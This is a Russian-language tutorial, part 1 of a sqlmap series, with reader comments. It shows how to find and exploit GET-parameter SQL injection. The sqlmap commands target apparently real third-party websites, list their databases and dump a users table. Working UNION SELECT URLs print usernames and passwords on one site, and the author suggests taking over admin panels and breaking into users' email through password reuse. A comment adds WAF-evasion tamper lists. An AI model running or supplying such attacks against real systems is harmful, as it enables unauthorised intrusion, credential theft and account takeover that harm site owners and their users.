Инструкция по использованию sqlmap. Ч.1: Основы работы (GET)
Что такое sqlmap, для чего она нужна
Программа sqlmap позволяет проверять сайты на наличие в них уязвимости SQL-инъекция, уязвимости XSS, а также эксплуатировать SQL-инъекцию. Поддерживаются разнообразные типы SQL-инъекций и разнообразные базы данных.
Что можно делать с помощью sqlmap
С помощью sqlmap можно:
- проверять, имеется ли в сайтах уязвимость
Если сайт уязвим к SQL-инъекции, то возможно:
- получать информацию из базы данных, в том числе дамп (всю) базу данных
- изменять и удалять информацию из базы данных
- заливать шелл (бэкдор) на веб-сервер
Один из сценариев использования sqlmap:
- Получение имени пользователя и пароля из базы данных
- Поиск панелей администрирования сайта (админок)
- Вход в админку с полученным логином и паролем
При наличии уязвимости атака может развиваться по различным направлениям:
- Модификация данных
- Заливка бэкдора
- Внедрение JavaScript кода для получения данных пользователей
- Внедрение кода для подцепления на BeEF
Как мы можем убедиться, SQL-инъекция – очень опасная уязвимость, которая даёт злоумышленнику большие возможности.
Проверка сайтов с помощью sqlmap
Если сайт получает данные от пользователя методом GET (когда и имя переменной и передаваемые данные видны в адресной строке браузера), то нужно выбрать адрес страницы, в которой присутствует эта переменная. Она идёт после вопросительного знака (?), например:
- http://www.dwib.org/faq2.php?id=8
- http://www.wellerpools.com/news-read.php?id=22
- http://newsandviews24.com/read.php?id=p_36
В первом адресе, имя переменной – id, а передаваемое значение – 8. Во втором адресе имя переменной также id, а передаваемое значение 22. В третьем примере имя переменной такое же, но передаваемое значение p_36. Одинаковое имя переменной – это случайное совпадение для разных сайтов, оно может быть любым, могут быть любыми передаваемые данные, может присутствовать несколько переменных со значениями, разделённые символом &.
Если мы хотим проверить, уязвима ли переменная id к SQL-инъекции, то нам нужно вводить адрес полностью - http://www.dwib.org/faq2.php?id=8 (а не http://www.dwib.org/faq2.php или http://www.dwib.org).
Команда для проверки переменной, передаваемой методом GET, очень проста:
sqlmap -u адрес_сайта
Для данных сайтов команды будут:
sqlmap -u http://www.dwib.org/faq2.php?id=8 sqlmap -u http://www.wellerpools.com/news-read.php?id=22 sqlmap -u http://newsandviews24.com/read.php?id=p_36
В процессе проверки sqlmap может задавать различные вопросы и на них нужно отвечать y (т.е. Да) или n (т.е. Нет). Буква y и n могут быть заглавными или маленькими. Заглавная буква означает выбор по умолчанию, если вы с ним согласны, то просто нажмите Enter.
Примеры ситуаций и вопросов:
[CRITICAL] heuristics detected that the target is protected by some kind of WAF/IPS/IDS do you want sqlmap to try to detect backend WAF/IPS/IDS? [y/N]
Эвристика определила, что цель защищена каким-то WAF/IPS/IDS. Вы хотите, чтобы sqlmap попыталась определить наименование WAF/IPS/IDS?
Мой любимый запрос:
heuristic (basic) test shows that GET parameter 'id' might be injectable (possible DBMS: 'MySQL') testing for SQL injection on GET parameter 'id' it looks like the back-end DBMS is 'MySQL'. Do you want to skip test payloads specific for other DBMSes? [Y/n]
Суть в том, что эвристика определила, что параметр может быть уязвим и уже определена удалённая СУБД, нас спрашивают, хотим ли мы продолжить проверку. А на втором скриншоте сайте ещё и уязвим к XSS.
Если вы хотите автоматизировать процесс, чтобы sqlmap не спрашивала вас каждый раз, а использовала выбор по умолчанию (там всегда лучшие варианты), то можно запустить команду с опцией --batch:
sqlmap -u http://www.dwib.org/faq2.php?id=8 --batch
Возможные проблемы при сканировании sqlmap
Могут появиться следующей ошибки:
connection timed out to the target URL. sqlmap is going to retry the request(s) if the problem persists please check that the provided target URL is valid. In case that it is, you can try to rerun with the switch '--random-agent' turned on and/or proxy switches ('--ignore-proxy', '--proxy',...)
Она означает, что веб-сайт не хочет «разговаривать» с sqlmap. В качестве варианта нам предлагают использовать --random-agent. Если в браузере вы можете наблюдать сайт, а sqlmap пишет о невозможности подключиться, значит сайт игнорирует запросы, ориентируясь на пользовательский агент. Опция --random-agent меняет стандартное значение sqlmap на произвольные:
sqlmap -u http://www.wellerpools.com/news-read.php?id=22 --random-agent
Ещё одной причиной такой ошибки может быть блокировка вашего IP веб-сайтом - тогда нужно использовать прокси. Если вы уже используете прокси и появляется эта ошибка, то это может означать, что у прокси проблемы со связью и стоит попробовать без него.
Результаты сканирования sqlmap
Найденные SQL-инъекции отображаются следующим образом:
Т.е. выделяются жирно-салатовым цветом, пишется имя уязвимого параметра, вид SQL-уязвимости и имеется слово injectable.
Получение списка баз данных с sqlmap
Для получения списка баз данных используется опция --dbs. Примеры:
sqlmap -u http://www.dwib.org/faq2.php?id=8 --dbs sqlmap -u http://www.wellerpools.com/news-read.php?id=22 --random-agent --dbs sqlmap -u http://newsandviews24.com/read.php?id=p_36 --dbs
Получение информации из баз данных
Например, для сайта wellerpools.com обнаружено две базы данных:
[*] information_schema [*] main_wellerpools
Я хочу узнать список таблиц в базе данных main_wellerpools. Для этого используется опция --tables. Кроме неё, нам нужно указать интересующую нас таблицу после опции -D:
sqlmap -u http://www.wellerpools.com/news-read.php?id=22 --random-agent -D main_wellerpools --tables
Список таблиц:
По какой-то причине, мне хочется узнать список колонок из таблицы users. Для этого используется опция --columns. Кроме неё, нам нужно указать интересующую нас базу данных (-D main_wellerpools) и после ключа -T таблицу, для которой мы хотим увидеть список колонок:
sqlmap -u http://www.wellerpools.com/news-read.php?id=22 --random-agent -D main_wellerpools -T users --columns
Для вывода содержимого используется опция --dump. Её можно указать вместе с базой данных, и тогда будет сделан дамп всей базы данных, а можно ограничить данные одной таблицей или даже одной колонкой. Следующей командой я хочу увидеть содержимое всей таблицы users:
sqlmap -u http://www.wellerpools.com/news-read.php?id=22 --random-agent -D main_wellerpools -T users --dump
Взгляните на пароли – я при беглом осмотре подумал, что это хеши. Админы правда старались защититься, но это им не помогло.
Кстати, поскольку уязвим параметр, принимающий данные, отправленные методом GET, то можно сформировать запрос прямо в строке браузера таким образом, что логин и пароль пользователя будут выведены прямо на самом сайте:
- http://www.wellerpools.com/news-read.php?id=-22+union+select+1,group_concat(user_name,0x3a,user_pwd),3,4,5,6,7,8,9,10+from+users--
- http://www.wellerpools.com/news-read.php?id=-22+UNION+SELECT+1,group_concat(user_id,0x3e,user_name,0x3e,user_pwd),3,4,5,6,7,8,9,10+from+users--
Т.е. у нас имя пользователя, пароль и почта пользователей (а скорее всего даже администраторов) сайта. Если удастся найти административную панель сайта, то можно получить управление над сайтом или веб-сервером. Учитывая любовь пользователей к одинаковым паролям и зная их почтовые ящики – можно попробовать взломать почту.
В общем, SQL-инъекция – это очень опасная уязвимость.
Продолжение:
- Инструкция по использованию sqlmap. Ч.2: Продвинутое сканирование и эксплуатация (POST, после аутентификации, AJAX/jQuery)
- Инструкция по использованию sqlmap. Ч.3: Залив бэкдора, выполнение системных команд, изменение данных в БД
Связанные статьи:
- Инструкция по использованию sqlmap. Ч.2: Продвинутое сканирование и эксплуатация (POST, после аутентификации, AJAX/jQuery) (100%)
- Как пользоваться Kali Linux в WSL (подсистеме Windows для Linux): подборка лучших программ (ч. 1) (87.1%)
- Использование sqlmap для инъекции в адресе страницы сайта (URI). Произвольные точки инъекции (84.2%)
- Инструкция по использованию sqlmap. Ч.3: Залив бэкдора, выполнение системных команд, изменение данных в БД (81.4%)
- Утечка имён файлов в .DS_Store: как просмотреть содержимое и как эксплуатировать (51.3%)
- Настройка рабочего окружения PowerShell в Windows и Linux (RANDOM - 4%)
спасибо что так подробно пишите
Хотел дополнить параметр Tamper
General Tamper testing: --tamper=apostrophemask,apostrophenullencode,base64encode,between,chardoubleencode,charencode,charunicodeencode,equaltolike,greatest,ifnull2ifisnull,multiplespaces,nonrecursivereplacement,percentage,randomcase,securesphere,space2comment,space2plus,space2randomblank,unionalltounion,unmagicquotes
MSSQL: --tamper=between,charencode,charunicodeencode,equaltolike,greatest,multiplespaces,nonrecursivereplacement,percentage,randomcase,securesphere,sp_password,space2comment,space2dash,space2mssqlblank,space2mysqldash,space2plus,space2randomblank,unionalltounion,unmagicquotes
MySQL: --tamper=between,bluecoat,charencode,charunicodeencode,concat2concatws,equaltolike,greatest,halfversionedmorekeywords,ifnull2ifisnull,modsecurityversioned,modsecurityzeroversioned,multiplespaces,nonrecursivereplacement,percentage,randomcase,securesphere,space2comment,space2hash,space2morehash,space2mysqldash,space2plus,space2randomblank,unionalltounion,unmagicquotes,versionedkeywords,versionedmorekeywords,xforwardedfor
Спасибо! Если честно, не знал про tamper скрипты.
А sqlmap может автоматически эксплуатировать взаимности?Или это надо делать руками
Получение информации о базах данных, таблицах, а также информации из баз данных — это уже и есть эксплуатация уязвимости. Всё это sqlmap умеет. То есть да, может.
Это уязвимость используется только когда метод Get?
Инструкция по использованию sqlmap. Ч.2: Продвинутое сканирование и эксплуатация (POST, после аутентификации, AJAX/jQuery)
Спасибо, очень годная статья